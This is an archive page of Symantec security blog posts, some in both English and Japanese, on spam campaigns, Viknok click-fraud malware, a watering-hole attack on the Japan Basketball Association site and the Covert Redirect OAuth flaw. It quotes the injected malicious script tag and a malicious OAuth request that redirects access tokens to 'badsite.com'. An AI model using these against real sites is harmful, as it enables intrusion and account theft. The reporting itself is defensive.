Tag Archives: Security Response

Privacy Fears Spawn New Generation of Low Profile Social Networks

      No Comments on Privacy Fears Spawn New Generation of Low Profile Social Networks

mobile_device_social_anon.png

Is the era of oversharing over? Recent revelations about state-sponsored surveillance and mega-breaches engineered by cybercrime gangs have put the issue of privacy in the spotlight. After more than a decade where people appeared to be sharing more and more details about themselves online, there is some evidence that a backlash is now underway. Certainly the founders of a number of new social networking services seem to think so and they have made privacy one of the main selling points of their offerings.

One effort at building a more anonymous social network is Secret. Its creators decided to move in the opposite direction to most social networks and minimize the personal information its users share. Available as either an iOS or Android app, it doesn’t use real names or profile photos. Users instead anonymously share text and images. Their posts are shared with other friends who are also on Secret, but users are not told which of their friends authored the post. They can choose to share those posts with their own friends and, if a post goes two degrees beyond its author, it is shared publicly and marked with its broad location (e.g. California).

Secret goes to some length to reassure its users of their privacy. For example, it markets itself with the fact that customer data is stored on Google servers – the same servers used in Gmail – and all communications are encrypted with TLS. Message data is encrypted before being written to its servers and keys are stored in an off-site keystore service that rotates keys. When the app connects a user with someone they know from their contacts book, it doesn’t send phone numbers or email addresses to Secret’s servers. Contact details are locally hashed with a shared salt and the server then compares them against other hashed values.

Secret’s arrival is a sign that social media moguls have spotted which way the wind is blowing. The app was developed by online publishing platform Medium, which was founded by Evan Williams and Biz Stone. Williams was a co-founder of blogging platform pioneer Pyra Labs (and credited with coining the phrase “blogger”) and was later a co-founder of Twitter.

The latest service to launch is Cloaq, which goes far beyond Secret in the level of anonymity it offers its users. Users don’t have to provide any personal information when they sign up, such as their name, email address or phone number. Instead, they choose their own password and Cloaq assigns them a user ID. The company is handing out accounts in batches, e.g. @alpha1 through to @alpha999 and so on.  The downside of having such an anonymous service is that anyone who does forget their user ID or password has no way of retrieving it.

In addition to new social media ventures, established operators have also begun to perceive a market for private services. For example, Twitter chief executive Dick Costolo recently said that the company is exploring the option of introducing a “whisper mode” that will allow its users to move conversations into the private sphere. While the company already has a private direct messaging feature, Costolo indicated that the whisper mode would allow for a smoother transition between public and private conversations. Additionally, he indicated that the feature could enable private conversations between more than two people.

Revelations about surveillance have also prompted some of the main online service providers to beef up their privacy measures. For example, Google has now moved to a default encrypted HTTPS connection whenever a user of its email service Gmail logs on. Furthermore, the company said that it was encrypting all traffic on its data center network, meaning that Gmail data will also be encrypted if it moves between Google servers. The move is intended to allay privacy fears following revelations about state-sponsored surveillance of traffic between data centers.

Google isn’t the only company moving to enhance customer privacy. Yahoo has followed suit, switching on HTTPS as a default on Yahoo mail and encrypting traffic between its data centers. Microsoft too has responded to privacy concerns. Likening the threat posed by surveillance to that presented by malware, the company is encrypting content moving between itself and its customers, in addition to encrypting data center traffic.

Whether a permanent shift towards greater anonymity is underway remains to be seen. However it is clear that the entire industry, from start-ups to the major players, has recognized that it is, for now, a key concern for consumers.

What Spam Would Mom Like This Year?

      No Comments on What Spam Would Mom Like This Year?

On May 11, 2014, many countries will celebrate Mother’s Day. Plenty of online articles have been giving gifts ideas and advice for making the day special for mom. Companies have also been sending a huge number of promotional emails with a special message about Mother’s Day. Unsurprisingly, spammers have been exploiting this occasion to send out a fresh batch of spam.

Symantec started observing Mother’s Day spam from early April and we have seen a steady increase in the volume of messages ever since. Previous Mother’s Day spam emails often stuck to certain categories. Spam emails offering flower deliveries, jewelry, personalized messages, coupons, and other gifts for mothers were the most common. Survey and product replica spam were also observed in the past.

The following are the major Mother’s Day themed spam campaigns seen this year.

Flowers for Mother
A beautiful bunch of flowers is something any mother will love and spammers use this theme more than any other. From last month, we have seen numerous emails promising flower deliveries by Mother’s Day. Most of these emails included links that redirected to fraudulent websites and some of the links redirected through multiple domains just to increase the traffic.

figure1_22.png
Figure 1. Preview of a spam email for ordering flowers

The email headers for this category are as follows.

Subject: $19.99 for Flowers and a Vase for Mother’s Day
From: [brand] <Online@[domain]>

Subject: [brand]: $19.99-Flowers for-Mom &-Vase!
From: “[brand] Special” <[brand]Special@[domain]>

Subject: Hi, 50% off Flowers for Mom
From: Fresh Flowers <[brand]@[domain]>

Personalized jewelry for Mom
Beautiful jewelry, particularly rings and pendants with a personalized inscription, is another theme that is a hit around Mother’s Day. Spammers also claim to offer personalized cards or notes along with the product. Like most spam, these emails will usually have links to other sites.

figure2_21.png
Figure 2. Preview of a spam email selling personalized rings for Mother’s Day

The email header for jewelry-themed spam messages are as follows.

Subject: Give Mom Something Unique This Year
From: Mothers Rings <rings@[domain]>

Product replica spam
This category is not too different from others, except that these spam emails advertise websites selling fake watches, jewelry, and other expensive goods. We observed these emails earlier this year and we continued to see them today. In these campaigns, the spammers give users deadlines for placing orders for the products.

figure3_12.png

Figure 3. Preview of replica spam related to Mother’s Day

Email headers seen with this spam campaign are as follows.

Subject: Why so soon?
From: Paige (Mother’s Day deadline) <Paige@[domain]>  

Lose weight by Mother’s Day
We believe that Mother’s Day-themed weight loss medication spam is a spinoff from an ongoing weight loss spam campaign, which has been the largest spam category by volume over the last couple of weeks. These emails include links which redirects to fake news sites offering information about new weight loss products.

Subject: Drop 10LB by Mothers Day
From: Rid 20 Pounds 2 Weeks <Sophia@[domain]>

Portuguese promo spam
We have seen a Portuguese spam campaign sending a large volume of messages promoting products related to Mother’s Day. This spam campaign uses the name of an online site which sells personalized products.

This spam campaign included links redirecting to a fraudulent website, along with a bogus opt-out option.

figure4_10.png
Figure 4. Preview of Portuguese promotional spam exploiting Mother’s Day

Here is the email header for this spam campaign.

Subject: Dia das Mães! Ajudaremos você com o presente.
From: “[brand]OnLine” <envio@painel1.[domain]>

Translation:
Subject: Mother’s Day! We’ll help you with this.

Symantec has observed a high volume of Mother’s Day themed hit-and-run spam recently. Most of these emails included links to a .us top level domain (TLD) which, on further analysis, were found to be registered quite recently. The theme of the domain names show that they were created for a Mother’s Day spam campaign. The domain names followed patterns such as flower-1promo-mothersday and mothersdayflower-special.

Symantec antispam filters successfully blocked these spam mails, but as always, we advise our readers not to respond to any of these emails. Remember, take your time to search for a Mother’s Day gift and don’t just click on links found in these spam mails. Symantec wishes all of our customers a happy Mother’s Day.

Sophisticated Viknok Malware Proves That Click-fraud Is Still a Moneymaker for Scammers

      No Comments on Sophisticated Viknok Malware Proves That Click-fraud Is Still a Moneymaker for Scammers

Symantec has spotted a recent surge of infections of Trojan.Viknok, which can gain elevated operating system privileges in order to add compromised computers to a botnet. Trojan.Viknok, first observed in April 2013, infects dll files with a malicious payload. Since its initial discovery, the malware has evolved into a sophisticated threat, capable of obtaining elevated operating system privileges in order to infect system files on multiple Windows operating systems, such as the 32 and 64-bit versions of Windows XP, Vista and 7. 

Attackers have been observed using Viknok-infected computers to carry out Adclick fraud. While click-fraud activity has been prevalent for years, it still seems to be an effective way for scammers to make money. The scammers behind the current Viknok campaign have gone to a lot of effort to add more victims to their Adclick botnet, helping them make more money in the process.

While the Viknok malware was discovered last year, attackers have been increasingly using the threat in the last six months. In April 2014, Symantec observed a spike in Trojan.Viknok activity along with new reports of Viknok-infected computers playing random audio clips through victims’ speakers. In the first week of May alone, Symantec saw 16,500 unique Viknok infections. The majority of victims are located in the US.

In this blog, we’ll talk about how Viknok manages to alter a system dll to gain elevated privileges. We’ll discuss the techniques the threat uses to infect its targets and how it takes advantage of compromised computers to conduct click-fraud. Finally, we’ll show how many Viknok infections have occurred in recent months and talk about how to protect yourself from this threat.

Viknok’s privilege escalation exploit
Modifying a system dll is no easy task in today’s operating systems. Even if a user is operating from an administrator account, they will not have the permissions to alter core system files, such as rpcss.dll which lets software continue to run each time Windows restarts. So how can Viknok infect these files?

Viknok has an arsenal of techniques at its disposal to let it perform the silent infection of the system file rpcss.dll. These methods consist of: 

The most powerful of these techniques is the exploitation of CVE-2013-3660, which allows the threat to run code in kernel mode.

 figure1_8.png
Figure 1. The exploit’s payload code

The code shown in the previous image shows how the threat is able to assign itself the system process’ primary access token, giving the malware the same privileges as the user with the highest administrative rights. 

How Viknok infects computers
Depending on the privileges used to initially execute Viknok, the threat may try one or more of the previously mentioned techniques. The threat’s purpose is to infect the file rpcss.dll, so that the malicious code is executed every time Windows starts. The infection of this file merely provides a loader for the core of the malware itself, which is usually stored in an encrypted file in the %System% folder.

We tested several scenarios to verify Viknok’s infection capabilities, which have been summarized in the following image.

figure2a.png
Figure 2. Some common Viknok infection scenarios

There are several conditions that may affect the outcome of the infection process, such as if the threat is manually downloaded and run, if it is dropped through an exploit or if it is dropped by the browser or a browser plugin. The previous image does not exhaust all possibilities; however it shows configurations that are commonly found in user or corporate environments.

In many cases, the infection process is completely stealthy; the threat does not show any warning to the user. The malware is also difficult to detect since it does not show any suspicious running process, nor does it infect any of the standard load points. In some cases, the threat needs to show the User Account Control (UAC) prompt to the user in order to obtain the elevation of privileges. If the user does not grant the permission, the infection will fail. However, the threat uses system components to try and load its code for privilege elevation. As a result, the UAC prompt will look like it’s a part of normal system activity, as shown in the following image.

figure3_4.png
Figure 3. Example of UAC prompt

Payload & click-fraud activity    
As mentioned previously, attackers are currently using Viknok-infected computers to perform click-fraud activity. Attackers carry out this activity using malware detected by Symantec as Trojan.Vikadclick. Once Vikadclick is loaded by the Viknok-infected rpcss.dll file, it will periodically download commands from command-and-control (C&C) servers under the attackers’ control. These commands force the compromised computer to perform network activity related to Adclick fraud. 

As a result of Trojan.Viknok infections and the related Adclick fraud, unknowing victims have been experiencing random audio playback through their compromised computers. This is believed to be caused by Trojan.Vikadclick surreptitiously visiting Web pages in the background that contain streaming audio content. Our analysis has shown that Trojan.Vikadclick’s Adclick fraud content includes car insurance for teenagers, tickets to Paris and bulk domain name registration, to name a few. 

Prevalence 
Symantec telemetry shows that Viknok activity has increased considerably in the last six months, with Symantec detecting and remediating over 22,000 unique infections in April 2014. 

figure4_3.png
Figure 4. Growth in Viknok detections in the last 6 months.

From May 1 to May 6, Symantec telemetry shows that we have detected over 16,500 unique Viknok infections. The majority of the infections have been observed in the US. The number of Viknok detections for May 2014 is on track to reach the highest amount of infections of this malware recorded to date.  

figure5_2.png       
Figure 5. Heatmap for Viknok detections in May 2014 to date.

Protection 
Symantec protects users against Viknok under the following detection names:

Antivirus detections

The non-repairable infections are related to copies of legitimate infected dlls, which can be safely deleted without affecting the computer. 

Intrusion Prevention Signatures 

For the best possible protection, Symantec customers should use the latest Symantec technologies incorporated into our consumer and enterprise solutions. Finally, always keep computers up to date with the latest virus definitions and patches.

While still a relatively newcomer on the malware threat landscape, Trojan.Viknok has shown its ability to evolve and implement sophisticated infection techniques to circumvent operating system access control mechanisms. Its use of Adclick fraud to monetize the botnet shows that this form of fraud is still a popular mean of income for malware authors. The continued spike in Trojan.Viknok activity suggests that this threat looks to become a common player on the threat landscape, so Symantec will continue to monitor it closely. Symantec is continuing to investigate how this threat arrived on victims’ computers.

IE ???????????????????????????Operation Backdoor Cut?

      No Comments on IE ???????????????????????????Operation Backdoor Cut?

今年 3 月、シマンテックは Internet Explorer 8 のゼロデイ脆弱性、「Microsoft Internet Explorer のメモリ破損の脆弱性（CVE-2014-0324）」を悪用した水飲み場型攻撃の可能性についてブログでお伝えしました。シマンテックはこの攻撃について調査を続け、この攻撃の目的が日本のバスケットボール界に関係のあるユーザーを狙うことにあったと結論付け、これを「Operation Backdoor Cut（オペレーションバックドアカット）」と命名しました。こうした結論を導き出すことができたのは、長期にわたり観測した結果、この脆弱性を悪用した水飲み場型攻撃が、日本バスケットボール協会（JBA）の公式サイトのランディングページだけをホストとして利用していることが判明したためです。3 月にこのゼロデイ脆弱性が確認されて以降、シマンテックの遠隔測定では、これ以外の Web サイト上で攻撃は確認されていません。

figure1_21.png
図 1. JBA のランディングページ

JBA の Web サイトが最初に侵害されたのは 2 月中旬のことです。サイトの HTML コードに悪質なスクリプトがインジェクトされ、このスクリプトによってバックグラウンドで外部サイトから悪用コードがロードされていました。その後、このサイトは正常化されたように見えましたが、2 月下旬には再び侵害され、同様のスクリプトがインジェクトされました。そして、3 月 11 日にマイクロソフト月例パッチとして CVE-2014-0324 に対するパッチがリリースされてからわずか数時間後に、三たび悪質なスクリプトがインジェクトされます。この 3 回とも、JBA サイトにインジェクトされたのは、悪用コードをホストしている、さらに別の侵害された Web サイトにトラフィックをリダイレクトするための短いスクリプトです。この Web サイトの所在地は韓国のソウルです。この攻撃で使われているスクリプトの例を次に示します。

<script type=”text/javascript” src=”https://www.[削除済み].kr/uc/inc_jba.php”></script>

侵害されて実際に悪用コードをホストしていたのは、韓国の大手カフェチェーンに関連する Web サイトです。3 回の侵入のたびに、このサイトの別々のディレクトリにファイルが保存されていました。このサイトが、攻撃のメイン部分のホストとして選ばれたのは、著名な企業のサイトであり、企業のネットワークを監視しているセキュリティ製品やサービスから嫌疑をかけられる可能性が低いためでしょう。各ディレクトリに含まれるファイルは、以下のとおりです。

  • inc_jba.php
  • inc_front_us-en.php
  • inc_front_ja-jp.php
  • inc_front-2007.php
  • inc_front-2010.php
  • inc-module.jpg

JBA の Web サイトにインジェクトされた短いスクリプトによって、inc_jba.php ファイルに誘導されます。このファイルには、標的となったユーザーのコンピュータ環境（オペレーティングシステム（OS）のバージョン、OS の言語、インストールされている Microsoft Office のバージョンなど）の情報をチェックする JavaScript が含まれています。この JavaScript は、cookie をチェックとして使う前に、ブラウザがこのページにアクセスしたことがあるかどうかも確認します。過去にアクセスしたことがある場合、ブラウザは悪用コードに誘導されません。これは、ユーザーがセキュリティ研究者である場合を警戒した対策です。コンピュータ環境が、指定された条件を満たしている場合、ブラウザは 4 つの悪用ページのいずれかにリダイレクトされます。悪用コードは、環境に応じて次の 4 つの亜種が用意されています。

  • Windows XP – 英語（EN）
  • Windows XP – 日本語
  • x86 コンピュータの Windows 7 に Office 2007 がインストール
  • x86 コンピュータの Windows 7 に Office 2010 がインストール

実行に成功すると、悪用コードは同じディレクトリから inc_module.jpg をダウンロードして実行し、最終的なペイロードの URL を取得します。拡張子は .jpg ですが、これは画像ファイルではなく、実際にはペイロードの場所について暗号化された情報を含むデータファイルです。ブラウザは、ソウルにある別のサーバーにリダイレクトされますが、これは攻撃者が SSL プロトコルでネットワークトラフィックを暗号化して用意したものと考えられます。ソウルに置かれているサーバーの URL は以下のとおりです。

https://login[ドット]imicrosoft[ドット]org/feed

このサイトが、北京に拠点を置く企業によってレンタルされている仮想プライベートサーバー（VPS）上で管理されていた点は注目に値します。この企業は、米国と韓国にある VPS を提供することを業務にしているようです。このプロバイダが選ばれたのは、サーバーの位置情報によるものと思ってまず間違いないでしょう。ペイロードをホストしているサーバーの Geo-IP 位置情報が、攻撃の成否を左右したはずだからです。

figure2_20.png
図 2. VPS サイトのログイン画面

攻撃者は、早々に撤収して短期間で攻撃活動を終わらせる戦略を取ったか、あるいはセキュリティ研究者がペイロードをダウンロードできないようにする高度な侵入手法を編み出したか、いずれかだったと考えられます。いずれにしても、このサーバーからペイロードを取得することはできませんでした。

シマンテックが確認した限りでは、「Operation Backdoor Cut」の動機は JBA を水飲み場サイトとして利用して、そこからのトラフィックを誘導することだけだと思われます。なぜなら、他の Web サイトはまったく影響を受けていないからです。悪質なスクリプトファイルの名前（inc_jba.php）と、ページへのアクセスカウントに使われた cookie の名前（JBA20140312v2）は、どちらも JBA ページの一部であるかのように偽装されています。シマンテックがこの悪用について確認した検出結果はすべて、JBA の Web サイトからのトラフィックでした。

バスケットボール界が狙われた理由
なぜ日本のバスケットボール界が今回の標的になったのか不思議に思う方もいるでしょう。スポーツ界は国民とも政府とも深く結び付いており、バスケットボールもその例外ではありません。日本のバスケットボール界と日本政府との間には、いささか興味深い関係があります。JBA の会長は、日本の現副総理兼財務大臣です。しかも、元総理大臣でもあります。このような関係こそ、JBA サイトに水飲み場型攻撃が仕掛けられた動機かもしれません。つまり、JBA の Web サイトが、日本政府への格好の侵入口またはゲートウェイと見なされたのかもしれません。

オリンピックが動機という可能性もあります。主要なスポーツ団体のひとつである JBA は、2020 年東京オリンピックの統括機関である東京オリンピック・パラリンピック競技大会組織委員会と密接な関係があります。オリンピック関連組織が頻繁にサイバースパイ活動の標的になることは、よく知られています。たとえば 2011 年、「Operation Shady RAT」と命名された攻撃を調査したときのデータでも、いくつかのオリンピック関連組織が攻撃を受け、そのネットワークのコンピュータが侵入を受けたことが判明しています。日本オリンピック委員会（JOC）も、このとき被害を受けました。日本は昨年、2020 年のオリンピック開催地に選ばれ、現在その準備を進めています。オリンピック開催地という名誉と引き換えにサイバー攻撃が増える可能性については、日本でも十分に認識されています。実際、日本政府は今から 6 年後に開催されるオリンピック大会に備えて、サイバーセキュリティ演習を 3 月に実施したところです。しかし、攻撃はすでに始まっているかもしれず、この演習よりも前にとっくに始まっていた可能性すらあります。

政府機関、製造業、金融などの業種は標的になりやすいと言えますが、標的型攻撃を受けるリスクはどの業種でも変わりません。そのことを認識して、相応にネットワークを保護することが重要です。企業や組織は、準備を怠らず、万一ネットワークに攻撃者の侵入を許してしまった場合の対策を講じておく必要があります。

シマンテックは、「Microsoft Internet Explorer のメモリ破損の脆弱性（CVE-2014-0324）」から保護するために、以下の検出定義ファイルを提供しています。

ウイルス対策

侵入防止システム

 

* 日本語版セキュリティレスポンスブログの RSS フィードを購読するには、http://www.symantec.com/connect/ja/item-feeds/blog/2261/feed/all/ja にアクセスしてください。

Operation Backdoor Cut Targeted Basketball Community with IE Zero-Day

      No Comments on Operation Backdoor Cut Targeted Basketball Community with IE Zero-Day

Back in March, Symantec blogged about a possible watering hole campaign exploiting a zero-day vulnerability for Internet Explorer 8, the Microsoft Internet Explorer Memory Corruption Vulnerability (CVE-2014-0324). We continued our investigation into this attack, which we dubbed Operation Backdoor Cut, and have concluded that the focus of the attack was to target users associated with the Japanese basketball community. We drew this conclusion from our extended observation of the watering hole campaign abusing the vulnerability being solely hosted on the landing page of the official Japan Basketball Association (JBA) website. No other attacks on any other websites have been confirmed from our telemetry since the disclosure of the zero-day attack in March.

figure1_21.png
Figure 1. JBA landing page

The JBA website was originally compromised in mid-February to host a malicious script in the site’s HTML code that loaded exploit code from an external site in the background. The site appeared to be cleaned up afterwards; however, it was compromised again in late February to host a similar script. Then, yet again, malicious script was inserted just hours after the release of the patch for CVE-2014-0324 on Microsoft Patch Tuesday back on March 11. In all three occasions, a short script was inserted in the JBA site in order to redirect traffic to another compromised website hosting the exploit code located in Seoul, South Korea. The following is an example of the script used in the attacks:

<script type=”text/javascript” src=”https://www.[REMOVED].kr/uc/inc_jba.php”></script>

The compromised website, associated with a major Korean Café chain, hosted the actual exploit code. In each of the three compromises, the files were stored in different directories on the site. This particular site was most likely chosen to host the main part of the attack due to it being a reputable business which would not be likely to draw suspicion from security products or services monitoring the organization’s network. The following is a list of the files contained in each directory:

  • inc_jba.php
  • inc_front_us-en.php
  • inc_front_ja-jp.php
  • inc_front-2007.php
  • inc_front-2010.php
  • inc-module.jpg

The short script inserted into the JBA website led to the file inc_jba.php. This file contains JavaScript that checks the targeted user’s computer environment things such as the operating system (OS) version, which Microsoft Office version is installed, and the language of the OS. The JavaScript also checks if the browser has ever visited the page before by using a cookie as a check. If the page has been visited before, the browser is not directed to the exploit code as a precaution in case the user is a security researcher. If the environment meets the specified conditions, the browser is redirected to one of four exploit pages. Each of the four variations of the exploit code has been prepared for different environments:

  • Windows XP – English (EN)
  • Windows XP – Japanese
  • Windows 7 with Office 2007 on a x86 computer
  • Windows 7 with Office 2010 on a x86 computer

If the exploit code is executed successfully, it downloads inc_module.jpg from the same directory and renders the file to acquire the URL of the ultimate payload. Although the file extension is .jpg, it is not an image file, but is actually a data file containing encrypted information about the location of the payload. The browser then redirects to another server located in Seoul, which we believe was prepared by the attacker using the SSL protocol to encrypt network traffic. The following is the URL of the Seoul-based server:

https://login[dot]imicrosoft[dot]org/feed

Interestingly, this site was maintained on a virtual private server (VPS) rented from a company located in Beijing that appears to specialize in providing VPS located in the Unites States and South Korea. It may be safe to assume that the provider was chosen because of the geo-location of the server. The geo-IP location of the server hosting the payload must have been vital to the campaign’s success.

figure2_20.png
Figure 2. Login screen of the VPS site

The attackers had either a strategy to close shop quickly to make their campaign short lived or some sophisticated evasion technique was implemented to prevent security researchers from downloading the payload. Either way, we were unable to acquire the payload from this server.

From our observations, we believe the motive of Operation Backdoor Cut was to solely draw traffic from the JBA watering hole site as no other websites appear to have been affected. The name of the malicious script file (inc_jba.php) and the name of the cookie (JBA20140312v2) used to count the number of accesses to the page, both disguise themselves to appear as part of the JBA page. Traffic from the JBA website accounted for all detections observed by Symantec for this exploit.

Targeting the Basketball Community
Some may wonder why the Japanese basketball community is being targeted. The sporting community has important ties with both the nation and its government and basketball is no different. The Japanese basketball community has a rather interesting connection with the Japanese government. The president of the JBA is the current Deputy Prime Minister and Minister of Finance in Japan. He also happens to be the former prime minister. A link such as this may perhaps be the motive for the watering hole attack on the JBA site. The website may have been considered a good entry point or gateway to the Japanese government.

The Olympics may be another motive. As a major sports organization, the JBA has close ties with the Tokyo Organizing Committee of the Olympic and Paralympic Games which is the organizing body of the Tokyo 2020 Olympics. It’s no secret that Olympic organizations are often targets of cyberespionage. For instance, data retrieved from an investigation in 2011 into an operation named Shady RAT revealed that several Olympic organizations were attacked and computers on their network were compromised; the Japan Olympic Committee (JOC) happened to be one of the victims. Last year, Japan won the bid for Tokyo to host the Olympic Games in 2020 and is now preparing for the event. The nation is well aware of the potential for cyberattacks when it comes to the prestigious event. The Japanese government, in fact, held a cybersecurity drill in March in preparation for the Olympics to be held six years from now. However, the attacks may have already begun and may have started long before this exercise was launched.

Sectors including government, manufacturing, and finance may be common targets; however, any industry could potentially be at risk of a targeted attack. It is important to realize this and protect networks accordingly. Organizations should be prepared and draw up plans in case attackers happen to intrude the network.

Symantec has the following protection in place to protect against the Microsoft Internet Explorer Memory Corruption Vulnerability (CVE-2014-0324):

AV

IPS

Covert Redirect ? OAuth ????????? Heartbleed ????

      No Comments on Covert Redirect ? OAuth ????????? Heartbleed ????

Heartbleed 脆弱性をめぐる騒動が一段落したかと思う間もなく、今度は「Covert Redirect（隠しリダイレクト）」と呼ばれるセキュリティ上の欠陥が見つかり、その報告がメディアを賑わしています。なかには「第二の Heartbleed」と称している報道もあるほどですが、Covert Redirect が実際に Heartbleed ほど深刻かというと、そんなことはありません。

「第二の Heartbleed」という言い方は正しいか

いいえ。これは、サービスプロバイダによる OAuth の実装で発見されたセキュリティ上の欠陥です。

Covert Redirect が Heartbleed ほど深刻でないのはなぜか

Heartbleed は OpenSSL に存在する深刻な脆弱性です。OpenSSL は暗号プロトコル SSL と TLS のオープンソース実装であり、50 万以上もの Web サイトで使われています。Heartbleed 脆弱性は、パッチ未適用のサーバーに要求を送信するだけで悪用できてしまいますが、Covert Redirect の場合、攻撃者は影響を受けやすいアプリケーションを見つけたうえで、ユーザーからの応答と許可を得る必要があります。

Covert Redirect とは

Covert Redirect はセキュリティ上の欠陥であり、脆弱性ではありません。狙われるのは、オープンリダイレクトの影響を受けやすいサードパーティ製クライアントです。

たとえば、攻撃者は影響を受けやすいサイトのアプリケーションを使って、密かにサービスプロバイダの API に要求を送信し、redirect_uri パラメータを改ざんすることができます。改ざんされた悪質な redirect_uri パラメータは、認証に成功するとユーザーを悪質なサイトにリダイレクトします。

標準的な要求: [プロバイダ]/dialog/oauth?redirect_uri=[影響を受けやすいサイト]&scope=email&client_id=123&response_type=token

悪質な要求: [プロバイダ]/dialog/oauth?redirect_uri=[影響を受けやすいサイト]/redirectKeepParams?w=1dpoa&url=[攻撃者のサイト]&scope=email&client_id=123&response_type=token

悪質な要求では、承認されたアプリケーションではなく、攻撃者がユーザーのアクセストークンを受信します。

OAuth とは

OAuth は、Web、モバイル、デスクトップの各アプリケーションから安全な認可を取得できるオープンプロトコルです。［Facebook でログイン］ボタンなどで OAuth を使うと、OAuth が認可メカニズムとして機能し、サードパーティ製アプリケーションでユーザーアカウントへのアクセス権を取得できるようになります。

ユーザーにとってどのようなリスクがあるか

この欠陥を悪用するには、ユーザーからの応答が必要です。アクセストークンを侵害するには、影響を受けやすいアプリケーションに対する許可をユーザーから付与される必要があります。許可が付与されてようやく、攻撃者はユーザーアカウントデータを取得して、さらに悪質な目的に利用できるようになります。

アプリケーション開発者にはどのような影響があるか

Web サイトでオープンリダイレクトが使われている場合、攻撃者はそのアプリケーションを Covert Redirect の標的とする可能性があるので、Web サイトでオープンリダイレクトを停止する必要があります。サービスプロバイダ各社も、アプリケーション開発者が OAuth リダイレクト URL のホワイトリストを作成することを推奨しています。

次の手順は

Covert Redirect は注意すべきセキュリティ上の欠陥ですが、Heartbleed と同レベルというわけではありません。アクセスを許可するアプリケーションは慎重に判断すべきであり、Covert Redirect はそのことを再認識する格好のきっかけとなりました。

パッチの公開は期待できません。それぞれの実装を保護して Covert Redirect の欠陥に効果的に対処するかどうかはサービスプロバイダ次第です。

 

* 日本語版セキュリティレスポンスブログの RSS フィードを購読するには、http://www.symantec.com/connect/ja/item-feeds/blog/2261/feed/all/ja にアクセスしてください。

Covert Redirect Flaw in OAuth is Not the Next Heartbleed

      No Comments on Covert Redirect Flaw in OAuth is Not the Next Heartbleed

Coming off the heels of the Heartbleed bug, a new report on a security flaw called “Covert Redirect” is garnering a lot of media attention—so much that some outlets are referring to it as the next Heartbleed. But is Covert Redirect as bad as Heartbleed? Definitely not.
 

Is this the next Heartbleed?

No, it is not. This is a security flaw in the implementation of OAuth by service providers.
 

Why is Covert Redirect not as bad as Heartbleed?

Heartbleed is a serious vulnerability within OpenSSL, an open source implementation of the SSL and TLS cryptographic protocols used by over a half a million websites. The Heartbleed vulnerability could be exploited just by issuing requests to unpatched servers. Covert Redirect, however, requires an attacker to find a susceptible application as well as acquire interaction and permissions from users.
 

What is Covert Redirect?

Covert Redirect is a security flaw, not a vulnerability. It takes advantage of third-party clients susceptible to an open redirect.

For example, an attacker could covertly issue a request to Facebook’s API using ESPN’s Facebook app and modify the redirect_uri parameter. The new modified redirect_uri parameter maliciously redirects users after they have successfully authenticated.

Standard Request: facebook.com/dialog/oauth?redirect_uri=espn.go.com&scope=email&client_id=123&response_type=token

Malicious Request: facebook.com/dialog/oauth?redirect_uri=m.espn.go.com/wireless/mw/util/redirectKeepParams?w=1dpoa&url=badsite.com&scope=email&client_id=123&response_type=token

In the case of a malicious request, the attacker receives the user’s access token, instead of the approved application.
 

What is OAuth?

OAuth is an open protocol to allow secure authorization from web, mobile and desktop applications. When using OAuth—like a “Login with Facebook” button—OAuth is the authorizing mechanism and enables third-party applications to obtain access to user accounts.
 

What is the risk to users?

For this flaw to be exploited, it requires interaction from users. A user would have to grant permissions to a susceptible application in order for the access token to be compromised. An attacker may then obtain user account data which could be used for further malicious purposes.
 

What is the impact to application developers?

If there is an open redirect on your website, an attacker could target your application for Covert Redirect. It is important to lock down open redirects on your website.
 

What is the next step?

While Covert Redirect is a notable security flaw, it is not on the same level as Heartbleed. Covert Redirect serves as a reminder to be careful about what applications you grant access to.

Do not expect a patch—it is up to the service providers to secure their own implementations to effectively address the Covert Redirect flaw.

As Snapchat Adds Native Chat Functionality, Expect Spammers to Adapt

      No Comments on As Snapchat Adds Native Chat Functionality, Expect Spammers to Adapt

Earlier today, photo-messaging application Snapchat unveiled new features that enable users to chat directly within the application, a frequently requested feature. The addition of this feature, while an improvement, provides the individuals responsible for Snapchat spam a new feature to play with in their efforts to target users of the service.

History of Snapchat Spam

Chat Snapchat 1.png

Figure 1. Previous iterations of porn and dating spam on Snapchat

We have written numerous blogs about the rise of Snapchat spam over the last six months. The common thread in each of these spam campaigns was that they were all hindered by the lack of chat functionality. This roadblock presented a challenge to spammers, which led to a common workaround. Each of the spam “snap” messages sent to users featured a caption that asked them to manually perform one of the following actions:

  • Add an attractive girl on Kik messenger
  • Visit a website intended to push diet spam
  • Inform them that they won a gift card or prize that could only be redeemed at an external website

Chat Snapchat 2.png

Figure 2. Previous iterations of diet spam on Snapchat

The Future of Snapchat Spam

Now that the chat functionality is native to Snapchat, spammers can remain within the application itself and tailor their spam to work with this new functionality in mind. They can start building chat bots that communicate directly with Snapchat users or find new ways to trick users into clicking on links.

Restrictions on Sharing Links

Chat Snapchat 3.png

Figure 3. Comparison of sharing links through Snapchat’s “Chat” feature

While spammers can send links within chat messages, the way they appear to the recipient can vary. For messages from non-friends, the links cannot be clicked on. For messages from friends, the links are active and clickable.

Understand that spammers are determined and will find ways to adapt. For instance, a spam campaign could begin with an initial photo message of a scantily clad woman that offers “sexier pictures” if a user adds them as friends to ensure that their links would be clickable as the campaign continues.

Review your privacy settings

Now would be a good time to review your Snapchat privacy settings and make sure that only your friends can send you snaps. Please note that even if you restrict who is allowed to send you snaps, you can still receive friend requests from spammers.

We’re keeping an eye out for new spam campaigns using this new feature and we think you should too. Tweet us @threatintel if you come across new Snapchat spam.

Heartbleed ????????????????

      No Comments on Heartbleed ????????????????

寄稿: Binny Kuriakose

シマンテックは最近、Heartbleed 脆弱性に便乗したフィッシングメールを確認しました。このフィッシング攻撃は、米軍関係の保険サービスを装って Heartbleed 脆弱性に関するメッセージを送信し、情報を収集しようとします。

Heartbleed は最近発見されたセキュリティ脆弱性で、OpenSSL のバージョン1.0.1 から 1.0.1f に影響します。この脆弱性は OpenSSL 1.0.1g で修正済みです。脆弱性の詳細や対処方法については、シマンテックのセキュリティアドバイザリーを参照してください。

スパマーやフィッシング攻撃者は、最新のニュースや話題を利用してペイロードを偽装します。フィッシングメールでは多くの場合、セキュリティに関する懸念につけ込んで、ソーシャルエンジニアリングの手口を本物らしく見せようとします。電子メールに仕込まれたペイロードによって、受信者が機密情報を漏らすように仕向けるのです。

今回の場合、次のような電子メールが送られてきます。

 figure1_phish_0.png
図 1. Heartbleed 脆弱性に便乗したフィッシングメール

この例には、興味深い特徴がいくつかあります。

